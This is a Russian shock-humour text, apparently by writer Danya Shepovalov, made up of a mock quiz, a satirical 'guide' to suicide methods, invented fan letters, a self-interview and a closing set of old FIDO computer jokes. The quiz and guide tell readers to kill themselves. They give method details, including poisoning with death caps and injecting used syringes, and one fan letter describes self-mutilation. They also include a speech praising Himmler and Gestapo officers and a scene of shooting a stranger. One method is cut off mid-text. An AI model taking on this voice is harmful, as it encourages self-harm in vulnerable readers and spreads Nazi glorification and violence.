От 1-го до 15-ти баллов: ты обычный перец, каких полно на нашей убогой планете. Тщательно бреешься по утрам, даришь своей девушке цветы на восьмое марта и изредка мастурбируешь на клипы с Бритни Спирс. Через пару лет женишься, отрастишь животик и будешь вести долгую и скучную жизнь законопослушного гражданина. Лучше застрелись прямо сейчас, хоть сэкономишь для потомков нефть, газ и прочие природные ресурсы.

От 16-ти до 35-ти баллов: у тебя нет девушки, денег и будущего. Посмотри правде в глаза: ты лузер и аутсайдер. Именно поэтому ты и проводишь сутки перед монитором, мастурбируя на все, что движется. Но это даже к лучшему. Как раз эта категория людей и дарит человечеству величайших маньяков и самовлюбленных гениев. Мастурбируй как можно чаще - это нехитрое упражнение хорошо развивает нарциссизм и приближает тебя к источнику порочного экстаза. Умереть, сжимая в руках член - смерть, достойная настоящего мужчины.

От 36-ти до 49-ти баллов: ты махагуру сексуальных девиаций и вселенский папа неконтролируемого ментального оргазма. В твоем присутствии о сексе начинают думать все, кто обладает первичными половыми признаками. Ну а конкретно в твоем мозгу присутствует только одна мысль: "ТРАХАТЬСЯ!". Трахаться со всем что движется и не движется, трахаться физически, ментально, астрально, перорально и внутривенно. Ты даже свой член разрезал на две половинки, чтобы удобнее было иметь людей в ноздри. Если тебе повезет умереть во время оргазма, то ты автоматом станешь чистым Эрегированным Космосом. И воплотишься в новую версию Дани Шеповалова, чтобы нести учение о нескончаемой вселенской эрекции в массы.

50 баллов: ты Даня Шеповалов. Тебя сделали на заводе по производству интерактивных сексуально-озабоченных кретинов и больше тут сказать нечего. 50 баллов, придурок, в этом тесте набрать физически невозможно!

А вы знаете, что интереснее всего трахаться в морге? Когда девушка наклонившись опирается руками на катафалк, испачканный слизью от полуразложившегося трупа, а ты…хотя нет, пожалуй не стоит об этом на всю страну.

Ликуйте, дорогие мои любители контролируемого суицида! Интерактивная мразь, Даня Шеповалов вновь обращается к вашей излюбленной теме. Депрессивные модники и прогрессивные анархисты, инфантильные лузеры и прочая элита - все вы найдете то, что искали, в обьятиях Дани, заслуженного ветерана суицидального труда. Однако, к великому сожалению, в последнее время развелось множество подражателей делу Великого Самого. Плаксивые девочки с черными кругами под глазами, сопливые романтики и просто жертвы отсутствия генетического контроля - разве они достойны быть причислены к святейшему лику шизанутых сверхчеловеков:
"Я резала вены семь раз!"
"О, этот жестокий-жестокий мир. Лучше бы мой папа кончил на стенку!"
"Я не могу жить среди этих безчувственных варваров. Их не интересует мой внутренний мир, высокие порывы моей души!"
"Передайте Лене, что я ушел из жизни ради нее!" Друзья мои, это просто слюнтяйство и дешевая рефлексия. Настоящий ниндзя не делает промахов - ему не придется резать вены второй раз. (Резать вены…фу, как это бездарно). Настоящему оби-вану не нужен повод, чтобы повеситься в макдоналдсе, он всегда готов откинуться во имя любой подходящей цели. Например ради принятия закона о принудительной кастрации журналистов. Настоящий джедай принимает решение стать жмуриком не в состоянии аффекта, а в здравом уме и трезвой памяти, когда у него вовсю стоит, а жизнь прекрасна и удивительна.

Ну да ладно, не будем о совершенно очевидных вещах, лучше остановимся подробнее на самой технике мета-экзистенциальных самоубиств. Для начала, о психологической подготовке. Многие ниндзя упускают из виду столь важный момент, как предварительная медитация стиля "Ненависть", что является весьма существенным упущением. В серый пасмурный день, когда вы пришли с улицы промокшим до носков, сядьте на холодном полу в удобную позу и повторяйте про себя "Я - полное ничтожество!". Как показывает практика, для достижения необходимого состояния требуется около 1300 повторений. Очень хорошо так же будет поставить видео с предварительно подготовленным видео-рядом по теме. Например, крупный план личинок мясных мух, ползающих по лягушачей икре сменяется кадрами ритуального убийства беременной девственницы в секте сумасшедших фэнов команды "Нож для фрау Мюллер". А их в свою очередь сменяет живописная сцена, в которой маленький краб ковыряет клешней глаз связанного на берегу окена юноши. Эффект 25-го кадра здесь просто необходим: хорошо себя зарекомендовали слова "Психоз", "Отчаяние", "Боль", "Агония", "Смерть", набранные большими кроваво-красными буквами на сером фоне.. Впрочем, если у вас нет времени для подготовки подобного видео - не огорчайтесь. Вы всегда можете записать в выходные программу "Итоги", после просмотра которой ни один нормальный человек не пожелает больше продолжать свое убогое существование в самой убогой стране на самой убогой планете.

Ну а теперь непосредственно о самих способах сказать "Пока!" разумному человечеству. Кстати, хочу заметить, что особым шиком среди продвинутых ниндзя считается тщательно спланированная провокация, в результате которой организатора отправляет на тот свет разъяренная толпа обывателей. Просто в этом случае на Страшном Суде обвинение в самоубийстве будет уже без мазы, а потому не придется колбасить в аду несколько лишних вечностей.

Способ N 0: День Победы.

Утром 9-го мая тщательно побрейся и сделай у парикмахера аккуратную армейскую стрижку. Очень здорово кстати будет, если у тебя случайно (!) окажется под рукой старая эс-эс-овская форма. Если нет - не беда, выбери какой-нибудь серый полувоенный костюм, тщательно выстирай его, прогладь и пришей на видные места всевозможные знаки отличия: орлов, молнии, стилизованную свастику итд. Так же позаботься о необходимом оборудовании: тебе понадобится табуретка, стерео-центр, кассета с записью различных германских маршей (дойчлен золдатен, ну ты меня понимаешь), большой топор и микрофон. Теперь отправляйся на главную площадь твоего города, где сегодня проходит торжественный парад в честь победы над фашистскими захватчиками. Выбери место поуютнее, встань на табуретку, положи перед ней на видном месте топор, включи бодрый марш, а сам возьми в руки микрофон и начни свою праздничную речь: "Первым делом я хочу почтить минутой молчания память величайшего человека ушедшего столетия - рейхсфюрера эс-эс Генриха Гиммлера!" [минутная пауза] "Никто не забыт! Ничто не забыто! В наших сердцах и по сей день живут великие дела офицеров гестапо, славных сынов своей отчизны. Операторы газовых камер Освенцима, кочегары Бухенвальда - все разумное человечество и по сей день преклоняется перед вашим самоотверженным подвигом. Да здравствует Третий Рей…" Главное - не забудь вовремя наклониться, чтобы удар топора пришелся тебе прямо в основание черепа.


Способ N1: Мания величия.

Наверняка в твоем городе есть пара-тройка мест, где по вечерам тусуются всевозможные прогрессивные персонажи: скины, нацисты, байкеры итд. Тогда достань соответствующий обстановке прикид (шуба, массивная золотая цепь, зеленые кожаные штаны, стильный дорогой мобильник на видном месте) и отправляйся в этот район на поиски приключений. Да, чуть не забыл, тебе еще понадобится хороший дробовик. Выбери компанию неформалов с самым суровым видом, подойди к их лидеру, ударь его в солнечное сплетение, соверши смачный плевок в лицо и произнеси что-нибудь вроде "Как смеешь ты стоять в моем присутствии? А ну быстро на колени, ублюдок!". Затем выстрели ему в правое колено, вручи в руки дробовик и медленно, картинно убегай оттуда, высоко поднимая ноги и заливаясь гомерическим хохотом.


Способ N2: Медицинский.

На самом деле, физическое насилие над собой - это прошлый век. Сейчас в моде химическое и инфекционное насилие. Отправляйся в путешествие к ближайшей больнице. Обычно в окрестности любой из них находится незабываемая свалка, на которой можно найти все что угодно. Твой праймари обжектив - использованные шприцы. Оперативно введи все их содержимое в свой организм и жди эффекта. Помимо общего заражения крови, ВИЧ и всевозможных гепатитов ты, скорее всего, получишь также массу неизвестных науке заболеваний благодаря успешному сочетанию остатков различных препаратов. Для усиления эффекта можешь съесть несколько десятков всевозможных таблеток и окровавленных, покрытых застывшем гноем тампонов, которые также найдешь на этой свалке. Ну а когда у тебя вытекут глаза, слезет кожа и рассыпятся в кровавую крошку зубы, обратись за помощью в эту же больницу. Не волнуйся, живым ты оттуда не уйдешь.


Способ N3: Новорусский.

Данный способ крайне прост для реализации в столице нашей Родины. Из дополнительного оборудования тебе понадобится тяжелая кувалда, а также небольшая банка концентрированной соляной кислоты. Захвати эти незамысловатые приспособления и направь свои стопы к ультра-дорогому ночному клубу, в котором обитает несметное количество НР. Когда около заведения остановится очередной 600-ый мерседес ручной сборки, подожди пока владелец выползет из него и отойдет на безопасное расстояние. Затем проделай следующие действия: запрыгни на крышу машины, тщательно облей ее кислотой и со всего размаху засади кувалдой по лобовому стеклу. После этого невозмутимо расстегни ширинку и отлей в салон изнасилованного автомобиля через образовавшуюся дырень. Теперь досчитай до десяти и скоропостижно скончайся от многочисленных пулевых ранений.


Способ N4: Рыболовный.

Из экипировки нам потребуется большое количество крючков, тройников и блесен, закрепленных на прочной леске или даже небольшом металлическом тросике. Залезь на стрелу самого высокого подъемного крана в твоем городе (желательно в самом многолюдном районе) и привяжи к ее краю свободный конец лески. Другой же конец (с блеснами и тройниками) аккуратно проглоти, а затем прыгай вниз. В итоге тебя вывернет на изнанку в буквальном смысле этого слова, а проходящих мимо девушек вывернет в переносном.


Способ N5: Тюремный.

Для начала тебе нужно загреметь в тюрьму. Как это лучше сделать - решай сам, тут уж я тебе не советчик. Нам важен результат, чтобы суровый конвоир распахнул дверь душной, переполненной настоящими ублюдками камеры и втолкнул тебя внутрь. После непродолжительной паузы заключенные начнут сыпать шуточками насчет твоего невысокого положения в тюремной иерархии и аппетитности твоей, извиняюсь, попки. Здесь главное не теряться. Сделай грозное лицо, сплюнь на пол и отчетливо произнеси: "Ну чего раскудахтались, петушки?". Я думаю, что даже видавший виды тюремный врач прослезится, взгянув на твой труп.


Способ N6: Спортивный.

Нам опять потребуется леска - этот незаменимый инструмет интергалактических камикадзе. С величайшей тщательностью привяжи один ее конец к своим, еще раз извиняюсь, гениталиям, а конкретнее - к яйцам. Ну а другой конец - к красивому спортивному автомобилю. Затем подожди, когда придет владелец машины, заведет ее и тронется с места. Ну а теперь беги за ним следом. В этом случае ты умрешь от истощения. Или не беги - тогда оперативно сдохнешь от потери крови. У тебя всегда есть свобода выбора.


Способ N7: Комбинированный.

А теперь я предлагаю твоему вниманию способ для настоящих мужчин. Тебе понадобится: бледная поганка - 5 штук, мухомор обыкновенный - 5 штук, никотиновая зависимость - 1 штука, грязевой, соляной и серный источник - 1 штука. Для начала надо бросить курить. Тоесть если ты не куришь, следует начать, довести свою дневную норму до 6 пачек, а затем всенепременно бросить. Что у нас начнется, дорогой дружок? Правильно, начнется такооое, что лучше уж бы твой папа стерилизовался в 3-х летнем возрасте. Но не суть. Теперь ты должен отправиться в санаторий для продолжительного курса лечения. Не стоит доверять докторам - лечиться ты будешь сам. Возьми                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                оножных мышц, жажда. На третий день заметное улучшение. Потом желтуха. А на пятый день смерть из-за отказа печени". Тоесть у тебя в запасе целых пять суток зверских пыток. Советую с пользой провести их, гуляя ночью по горам и наслаждаясь ужасающими звуками ночного леса.


Каким же все-таки гениальным достижением человечества является интернет! Интернет - это огромная часть моей жизни. В чатах я общаюсь и узнаю много нового. Скачиваем рефераты. Да, здесь у нас лучше получается. Йо-хо-хо, ублюдки! Да я вас ненавижу всех, дегенератов недоделанных. И донну Зулейку вместе с Хосе Игнасио, и обогреватель "Доброе тепло", и музыку не для чужих ушей в паре с сиськами Авроры. Так, извините, дорогие мои - это я телевизор последнее время слишком много смотрю.

И вообще я о чем говорил-то? А, ну да, интернет! Раньше я получал письма только от сервера статистики моего провайдера. Да и, на самом деле, не всегда им радовался, поскольку обычно подобные сообщения содержали текст вроде "На Вашем счету осталось минус 112$ и в ближайшие дни Вы будете отключены". А потом меня угораздило написать статью "Эрегированный космос". А чуть попозже - "Эрегированный космос - 2 ". Кстати, торжественно признаюсь, название это я не то чтобы спи…а скажем более литературно - позаимствовал. А спи…тоесть позаимствовал я сей лэйбл у некого товарища, который рисовал свастики, подписывал их красивыми названиями и вешал в рамочках на стену. Самая большая фрактальная свастика висела у него на потолке и называлась соответственно "Эрегированный космос и моя любимая девочка Лена, которая сказала, что у меня слишком маленький член" (на самом деле это была даже не картина, а целая инсталляция, поскольку девочка Лена /точнее её части/ висела чуть ниже).

Однако, похоже я опять черезчур отклонился от основной канвы своего повествования. Необычайная моя радость заключается в том, что после выхода этих пресловутых статей, я стал получать множество писем от любящих поклонников. И, знаете, что я понял? Оказывается, в нашей стране полным-полно крайне интересных людей. Ну а чтобы вы разделили мою беспредельную радость, я просто приведу отрывки из писем некоторых читателей:

"Слушай, человек, который пишет такие вещи, может быть только моральным уродом!"

"Мне надоело трахаться с братом и я хочу поизвращаться с тобой любым, еще мне не известным способом. Брат так же изнывает от желания обладать тобой. Позвони нам как можно быстрее!"

"Данечка, я величайший поклонник твоего таланта! Все твои статьи я сканирую, увеличиваю и вешаю на стенку, а потом провожу ночи стоя напротив этой стены на коленях и маструбируя!"

"Дэн, пришли мне свой портрет в полный рост и желательно в обнаженном виде, а я пришлю тебе кусочек своего пальца и инструкцию по применению хладона и других охлаждающих жидкостей в условиях атомной бомбардировки. И еще, дорогой Дэн, я надеюсь, ты научишь меня приемам мастурбации в невесомости и других экстремальных ситуациях. Кстати насчет самоубийства, у меня есть отличный способ: вколоть себе 84 мл. новокаина и когда ты перестанешь чуствовать собственные яйца, надо воткнуть в себя 24 гвоздя, 152 английские булавки и 31 бритвенное лезвие (гвозди чем меньше, тем лучше, втыкать все не слишком глубоко). Жду ответа, а если ты не ответишь, грязный ублюдок, я залью тебе в член расплавленный свинец и посажу на таз со здоровенной крысой."

"И тогда я решил: Ось симметрии сна Не проникнет в квартальный планшет. Утюги гидрохлора взорвутся тогда, Это как дважды два...скажешь нет?"

"После очередной твоей статьи я сделал себе на спине татуировку "!НЕ ЗАБУДУ ШЕПОВАЛОВА!" , одел вишнёвые ритузы, пластиковую каску с красной звездой, в одну руку взял клюшку, а в другую - одноразовую вилку. Ну и конечно самосвал на верёвочке. А потом я решил СДЕЛАТЬ ЭТО: я ворвался в ближайшую аптеку и стал кричать: "Я чукотская девочка, возьмите меня сзади!". Потом я пригрозил аптекарше клюшкой и сказал, чтобы она выкладывала на прилавок все беременные гвозди! Однако я облажался: я совсем забыл про две палочки хрустящего веника!"

"Здравствуйте, Даниил! Мы решили обратиться к вам и только к вам! У каких женщин самые чувствительные соски: у пышно-грудых или плоско-грудых?"

"О приветствую тебя, уважаемый дзен паракама-сутры. О великй просветленый учитель пароноидального суицида, неконтролируемого экстаза и прочего дерьма. Будь любезен скажи, что делать, если девчонка - лесбиянка?"

"Доктор, что мне делать, помогите!!! Основная масса обезъяно-подобных обитателей этой планеты хочет подвергнуть меня инквизиции, они не понимают мою гетеросексуальность, которая выражается в том, что я занимаюсь мастурбацией глядя на картинку с вашим изображением, которую я сам нарисовал в состояние афекта, убивая взрослую самку царевны-лягушки."

" Эрегируйся вечно! О протыкающий насквозь! Ты сейчас последняя надежда, ака титан после гибели Земли. Грозноурчащий Холодильник не смог мне помочь и рекомендовал тебя, как кладезь опороченной мудрости и отца оргазма. Дельце мое проще сношения с ладошкой - мне необходимы адреса, где можно скачать фото с гетероморфной некрофилией, в принципе можно и с гомоморфной"

"Здравствуй, друг Совета Межгалактических Психов, Маньяков и Поклонников творчества З. Фрейда - величайшего психа и извращенца, кавалера Ордена отрезанного фаалоса трансвестита Лены Зосимовой! Пишу я тебе из волосатой клоаки всего земного шара - г. Улан Уде. Очень прошу - забери меня отсюда! Усынови и забери!"

"А еще, дорогой Данечка, дарим тебе японские стишки. Если не знаешь, то это такие, где на рифму следует кончать оранжевой слизью
Обажур, обажур, Дед Василий - некрофил!
Лампочка, лампочка, Член отвис до пяточек.
Канистра, канистра, Мишке сунули вчера."

"Мы с корешами подумали, что тебе надобно секту свою сделать! Секта им. Дани Шеповалова! Ещё мы решили, что тебе памятник при жизни поставить надо! За совращение всего Мира! Памятник будет выполнен полностью из золота. Главным героем его будет многорукий Шеповалов, который всеми руками чего-нибудь делает. Ну и конечно, специально для тебя супер-суицидальный способ. Незаметно положи своей подруге в сумочку кирпич. (лучше всего - урановый). Затем заведи ее "случайно" в тёмный пустынный переулок и в самый подходящий момент незаметно выпусти заранее припасеную крысу. Сделай паузу, а потом скажи тетке, как бы невзначай:"О! Смотри - крыса! Да какая, видно, голодная!". Герла, если она у тебя ещё невыдресированная, начнёт орать:"ПАМАГИТЕ!!!" и "КРЫЫ-СААА!!!" и противно визжать. Тут ты делаешь рожу дауна (не буду учить - у тебя получится) и на полном серъёзе говоришь:"Эта - мая кгыса! Нгавытса? Она кушает кгасивых людей!". Герла, поняв фишку, говорит тебе:"Я всегда знала, что ты - ублюдок!" и со всего размаху "гладит" тебя по морде сумочкой. Ну а если повезло достать урановый кирпич - ты просто счастливчик! Нет ничего приятнее, чем смерть от уранового кирпича!"

Здорово, правда? Однако, есть одна деталь, которая омрачает мою радость - никто у меня не берет….интервью. Вон премногообожаемый Покровский вовсю улыбается со страниц Птюча, члены…ммм…команды в интернете повсюду развешаны. А я? А мне? Но выход есть: нынче я беру интервью у самого себя. Вот так-то! Незамысловато и по-мужски.

Интервью Даниила Шеповалова с Даниилом Шеповаловым: (* см приложение)

Мы договорились встретиться с Самим в небольшом баре на окраине Москвы. Ровно в назначенное время около бара резко остановилась ультра-современная спортивная машина, и из нее неторопливо вышел подтянутый мужчина. Войдя в заведение, он окинул его взглядом своих прищуренных стальных глаз, который заставил затрепетать женщин всех возрастов, находившихся в баре. Его белоснежная куртка с волнующими разрезами резко контрастировала с идеальной смуглой кожей, а сквозь облегающую ткань явственно проступали отчетливые формы тренированного тела. Элегантной походкой мужчина подошел к моему столику.
Х: У вас отличная машина!
САМ: Да, неплохая. Но все-таки черезчур дешевая. Знаете, машина за три миллиона долларов - это не машина. Тут, правда, один концерн предлагает мне супер-автомобиль ручной сборки: над ним сейчас как раз работает Алсу вместе с Энрике Иглэсиасом. Надеюсь, она потянет хотя бы на несколько сотен миллионов. Да, кстати, я в вашем распоряжении только на четверть часа. Уж не обессудьте - потом у меня встреча с султаном Брунея. Эти султаны, они ведь как дети, право.
X: Да-да, конечно, - десятки глаз смотрели в нашу сторону, и я уже был счастлив просто от того, что этот человек не проигнорировал наше предложение дать интервью. - Тогда давайте сразу с места в карьер: многих наших читателей крайне волнует, почему вы до сих пор не повесились на стреле подъемного крана, хотя так долго смаковали эту тему в своих произведениях?
CAM: Да, знаете ли, просто все никак руки не доходят. (смеется) Шучу-шучу, конечно. На самом деле, я не имею права, мой мозг - общечеловеческое достояние.
X: Многие упрекают вас в чрезмерной мании величия. Как вы к этому относитесь?
САМ: Кого упрекают? Меня? По-моему это попросту глупо. Ведь я - человек в золотых доспехах, Вождь Солнца, Повелитель Звезд. Да и Величайший Гуманист Всех Времен и Народов, Трижды Майтрейя Всея Руси, Интергалактический Мета-экзистенциальный Портал, а также Отец Оргазма, если уж об этом речь зашла.
X: Хорошо-хорошо. Тогда давайте начнем с другого конца: кто сейчас входит в состав нашумевшей организации Мировая Термоядерая Война.
САМ: Даниил Шеповалов, Кошка по имени Кошка и компакт-диск "Новинки отечественной порнографии".
X: И чем вы занимаетесь?
САМ: Да всяким, знаете ли, занимаемся… (краснеет)
X: Даниил, некоторые наши читатели с психологическим образованием считают, что у вас серьезные проблемы с женским полом, да и вообще тотальный дестрой в сексуальном развитии. Что вы можете сказать по этому поводу?
САМ: Да, так и есть. Открою вам секрет: до семи лет я вообще был импотентом. Вы только представьте себе! Но уже на четвертом году своей жизни я начал тренироваться в сексуально-озабоченных формах мышления, чтобы добиться эрегированного состояния души и пениса. Знаете, это как со знаменитыми культуристами и бойцами - практически все они в детстве были хилыми, рахитичными мальчиками. И, поверьте мне, я своего добился. В свой седьмой день рождения у меня произошла эрекция, когда я медитировал на подаренную мне черепашку. Правда, я тогда очень испугался и сделал противостолбнячную инъекцию, но это уже мелочи.
Х: Говорят, у вас есть свой сайт в интернете. Однако никто не знает его адреса.
САМ: Да, есть. Но адрес я вам не скажу - стесняюсь. Для особо настойчивых могу дать небольшую подсказку: ключевыми словами для поиска этого сайта являются слова "член, сознание, мозг, космос, паранойя".
Х: А что такое по-вашему сознание?
САМ: Высшая, свойственная лишь человеку форма отражения объективной действительности. Представляет собой совокупность психических процессов, активно учавствующих в осмыслении человеком объективного мира и своего собственного бытия.
Х: Вы когда-нибудь занимались сексом с живыми людьми?
САМ: Нет, конечно! (слегка краснеет) Вы, кстати, напомнили мне слова непревзойденного Артема Косого: "Трахаться с живыми людьми - все равно что есть мясо больных животных". Как это у него было:

Ничтожные люди:
Вы, водящие членами по
Грязным ртам и плаксивым щелям,
В вас никогда не поместится мой член
Мое все!
Дети,
Жены,
Наркотики,
Анальный секс
Снова наркотики.
И нет мне, поэту, здесь места…

Да, какой все-таки был человек - титан мысли!
Х: Понятно. А вы играете в какие-нибудь компьютерные игры?
САМ: Да, бывает. Знаете, есть очень хороший, запутанный квест - Visual C++. Также могу порекомендовать всем неплохую аркаду - "Установка нового оборудования".
Х: Как называлось ваше первое произведение?
САМ: "Пися". Я написал его еще в детском саду. Точнее даже не написал, а нарисовал….цветными фломастерами на двери воспитательской комнаты.
Х: Весьма концептуально. А каковы дальнейшие творческие планы?
САМ: Через несколько месяцев я надеюсь закончить книгу "Правила мышления для шизофреников". Начал пару научных работ: "Легко ли быть психом" и "Даниил Шеповалов - базис вселенной". Ну что еще…А, на этой неделе вместе с арт-студией Пенис Ди-джея устраиваю концептуальную акцию на Красной Площади. 750 участников публично кастрируют сами себя и выложат своими членами надпись "Добро пожаловать, дорогие гости столицы!".
Х: И последний вопрос….
САМ: Нет, нет - я побежал, через десять минут у меня встреча с Джорджем Вашингтоном. Он, знаете ли, президент, а эти президенты как дети малые, честное слово.

Приложение: (выписка из справочника практического врача, раздел "сложные психические заболевания") Бредовый синдром. Бред - ложное, возникшее на болезненной основе, не соответствующее действительности, полностью овладевающее сознанием больного умозаключение. Чаще всего встречается бред величия, который в совокупности с прогрессирующей шизофренией и раздвоением личности может вылиться в синдром Кандинского-Клерамбо. Для лечения галлюцинаторно-бредового возбуждения применяют внутримышечно раствор сульфата магния и клизму с растворами мединала и хлоралгидрата.

0

25

А вот еще и анекдоты все они на компьютерную тематику
Hу и как всегда начну с анекдотов, котоpые я напpидумывал за последнее вpемя.


Hаpод идет на сисопку, пpоходят чеpез подземный пеpеход, а
там стоит тетка, игpает на гитаpе и надpываясь поет.
Один из ФИДО-шников: Смотpите как тетя без MP3-шек мучается.

Компьютеpщик говоpит девушке:
- Ты мне сегодня во сне пpиснилась!
- В эpотическом?
- Hет в обычном.
- А как ты их вообще pазличаешь?
- А у эpотических pасшиpение .JPG .

- Чего то винда глючит и в сеть не входит.
- Да стpанно. А виpусов там случайно нет?
- Hет, во-пеpвых откуда им там взяться, а во-втоpых я их сегодня утpом удалял.

В названии эхи RU.LESBIAN - коpень RULES .

У  В.И. Ленина была буква "p" не настpоена.

В гостях хоpошо, а дома - компы.

Два демомейкеpа:
1 - Вот 4k-intro написал, осталось только в 4k упаковать.
2 - А если не упакуется?
1 - Hу будет MegaDemo. (ваpиант: - Hу будет две 4k-intro.)

Что такое MegaDemo - это неупакованная 4k-intro.

Hа ByteFall'99 (н)аpод подходит к (о)pганизатоpам и пpосит сделать звук потише:
(н) - Так гpомко, что музыку не pасслышать.
(о) - А нам и не надо, чтоб слышали, нам надо, чтоб все офигели.

Идет один Ламеp(Л1) задумчивый. Hавстpечу дpугой (Л2):
(Л2) - Чего такой задумчивый?
(Л1) - Да вот думаю: зачем в слове "ламеp" буква "H".
(Л2) - Так там нет же никакой "H" :-()
(Л1) - Вот и я думаю - зачем она там.

ФИДО-шник дpугу сообщает:
- Мой маленький сын сегодня пеpвое слово сказал!
- Какое?
- Пииииииииишшшшшшшшшшшшшшшшшш... [тут надо изобpажать CONNECT 2400]

PS: А вообще давно создана эха RU.ANEKDOT.CHECLA.KYPOCHKA.DEDY.YAICHKO с
соответствующей тематикой, спpашивайте у боссов ;-))))))))))))))))))

                                      [ Russian Team IBM PC SUXX & MUST DIE ]
                                                STAS.
--- I'am a GOLDEN GOLDEN GOLDEN DED 3.00.Alpha1 UNREG
* Origin: SK corporation. (2:5030/514.7)

─ RU.ANEKDOT (2:5012/23.20) ────────────────────────────────────── RU.ANEKDOT ─
Msg  : 236 из 257                          Scn
From : Stas Korovin                        2:5030/514.7    Чтв 01 Апр 99 01:12
To   : All                                                 Пон 05 Апр 99 01:14
Subj : С 1 АПРЕЛЯ!!! (ПРОГРАММАЗМЫ 1/8)
───────────────────────────────────────────────────────────────────────────────
HELLO! All!

А здесь подбоpка анекдотов на компьтеpную тему.

    Веpyющий пpогpаммист (п) стиpая Win95 в ноpтоне...
    Появляется пеpвое пpедyпpеждение ноpтона..
    (п) - Во имя отца и сына, и св. дyха.. маст дай!
    и жмёт ентеp. Появляется втоpое пpедyпpеждение, последнее..
    (п) - ВОИСТИHУ МАСТ ДАЙ!!!

Забpали пpогpаммиста в аpмию. Hа гpанице служить.
Стоит он на посту. Вдpуг - шаги.
- Паpоль!!!
...тишина
- Паpоль!!!!
...тишина
Пpогpаммеp снимает с плеча автомат... коpоткая очеpедь...
- User Anonymous Access Denied

Пpиходит один фидошник(1) к дpугому(2)
(2) - Я себе кота завел! ТеМэйл назвал. Он у меня дpессиpованный -  команды
понимает!
(1) - Какие?
(2) - Hу смотpи. ТеМэйл! Коннект!
(КОТ) - Шшшшшшшшшшшшшшшшшшшш!!!
(2) - Hу я же хотел на 14400 !!!

Пpиходит мужик в компьютеpный магазин, ну обошел он его весь видит стоит ваще
такой навоpоченный пень II...Hу мужик не долго думая беpет лом и что есть силы
мочит по компу...(П)pодавец в шоке спpашивает у (м)ужика:
П - ЧТО ТАКОЕ, ЗАЧЕМ ?! :-[            ]
М - Вот видите их комп ничто пpотив нашего лома!

  Hадпись на могиле сисопа
  On Line    1972
  No Carrier 1997

Программер в церкви:
Во имя отца, и сына, и святого духа. Enter

   Hадпись на могиле хакера
   sti   19xx
   cli   19yy

   Hадпись на могиле хакеpа
   General protection fault. 1972
   Fatal error. System halted. 1997

Вопрос: Что бы вы сделали, если бы оказались в одной комнате с А. Гитлером,
С. Хусейном и Б. Гейтсом и у вас был постолет и два патрона?
- Выстрелил бы в Гейтса.
- Hо у вас же ДВА патpона!
- Контpольный выстpел в голову!!!

Меломана, алкоголика и программера спросили, что бы те делали,
если бы они вдруг проснулись в 80-м году...
Меломан пошел бы спасать Джона Леннона.
Алкоголик бы упился дешевой водки.
А программер бы повесился...
Почему?
А что, опять за ЕС садиться?

Машинный зал.
Шеф водит экскурсию по машзалу и с очень солидным видом поясняет:
- Это системный ввод...
- Это системный вывод...
- Это системный процессор...
- Это системная консоль...
- Это системный программист...

Заходит учитель информатики в класс за пять минут до конца урока.
Смотрит - все ученики уже сидят за машинами, программульки набивают.
Учитель подходит к общему рубильнику и отключает напряжение во всем классе.
По классу проносится взрыв возмущения - мы же не записались!
Учитель смягчившись включает рубильник - ну ладно, записывайтесь.

     Возвращается  как-то   раз  программист   с  работы   домой.
Hавстречу лягушка.  И говорит ему человечьим голосом:
     -- Слушай, я не  лягушка, а заколдованная царевна. Если меня
поцеловать,  я расколдуюсь,  ты  на  мне женишься... в общем, со
всеми вытекающими  последствиями.
     Программист  берeт  еe,  кладёт  в  карман  и  идeт  дальше.
Лягушка его за пиджак дeргает:
     -- Слушай, ты не  понял! МЕHЯ HАДО ПОЦЕЛОВАТЬ, Я РАСКОЛДУЮСЬ
В КРАСИВУЮ ДЕВУШКУ, ТЫ HА МHЕ ЖЕHИШЬСЯ...
     Программист достаeт еe и объясняет:
     -- Понимаешь,  я  программист.  Мне  с  девушками  возиться
некогда.  А говорящая лягушка - это прикольно! :-)

     В фирме идет отбор программистов:
1.   -- 4 км, сколько метров?
     Hе задумываясь:
     -- 4000.
     -- Тебе парень еще учиться и учиться!
2.   -- 4 км, сколько метров?
     Hе задумываясь:
     -- 4096.
     -- Hе подходишь!
3.   -- 4 км, сколько метров?
     Достает калькулятор и считает: 4*1024=
     -- 4096.
     -- Свободен!
4.   -- 4 км, сколько метров?
     Садится за комп. набирает на ассемблере програмку.
     -- Пиши заявление!


Hа уроке информатики учитель - ученикам:
- Это невозможно понять, это надо запомнить: display.sys - это драйвер, а
keyboard.sys - вовсе даже таблица раскладок.

     Пишет programmer  письмо боссу:  дай поинта.  Босс отвечает:
твой адрес будет  ...  ".15".  Тот настроил свой  мэйлер и звонит
боссу с адресом ".5". Босс:  "^%$#!@". Поинт: "Что, я с первого
раза должен правильно писать? А компилятор на что?"

(Ш)ерлок Холмс спрашивает у доктора (В)атсона:
   (Ш) - Ватсон, чем по вашему наполнены шары в CorelDraw?
   (В) - Известное дело Холмс, водородом!
   (Ш) - Как вы догадались?
   (В) - Да у меня вчера Corel пиз@#$улся - пол-Винды снесло нах$ен....

Поспоpили как-то фидошники, кто больше всего в RU.ANEKDOT' e пpавила наpушает.
Решили пpоголосовать по этому поводу. Сосчитали анкетки, и вот что получилось:
-- Hа почетном тpетьем месте оказался конечно же Dmitry Orel с анекдотом пpо
куpочку Рябу.
-- Hа втоpом месте -- последователи Juli'и Antonov'ой с анекдотом пpо
тыгдымского коня
-- А на пеpвом месте оказался... наш любимый ко-модеpатоp: квотинг и
овеpквотинг, использование псевдонима, оффтопик, личная пеpеписка в конфеpенции
и каждые 3 недели -- pассказ анекдотов, внесенных в оффтопик лист!

Идет мужик(1) по мосту, смотрит с моста другой(2) человек спрыгнуть хочет.
Первый подбегает к нему и говорит:
- Стой, что ты делаешь?
(2) - Hе вижу в жизни смысла - хочу умереть.
(1) - Возможно в жизни нет смысла, но позвольте спросить: "Вы - сисоп?"
(2) - Да!
- Как здорово, я тоже! Видите у нас есть что-то общее, но я же не прыгаю с
моста. А позвольте спросить, у Вас мейлер - бинк или тмыл?
- Тмыл
- У меня тоже. А тмыл для Дос или Windows?
- Для Windows NT.
- О! У Вас стоит Windows NT! У меня тоже. А Windows NT 3.51 или 4.0?
- 4.0
- У меня тоже! А билд 1380 или 1381?
- 1381
- У меня тоже. А Service Pack 2.0 или 3.0?
- 3.0
- У меня тоже. А Windows NT русская версия или английская?
- Русская.
- MUST DIE! - орет первый мужик и сталкивает второго в воду.

B результате дизассемблирования посредством дизассемблятора  по-
лучается полная дизассемблятина...

База еще не готова, но конец ее близок. (C)NORD.

Сбоpка компьютеpов WINDOWS.

Муж ФИДОшник пpисутствует пpи pодах у жены.
Рождается двойня.
Муж жене: Да у тебя ДУПЫ!!!

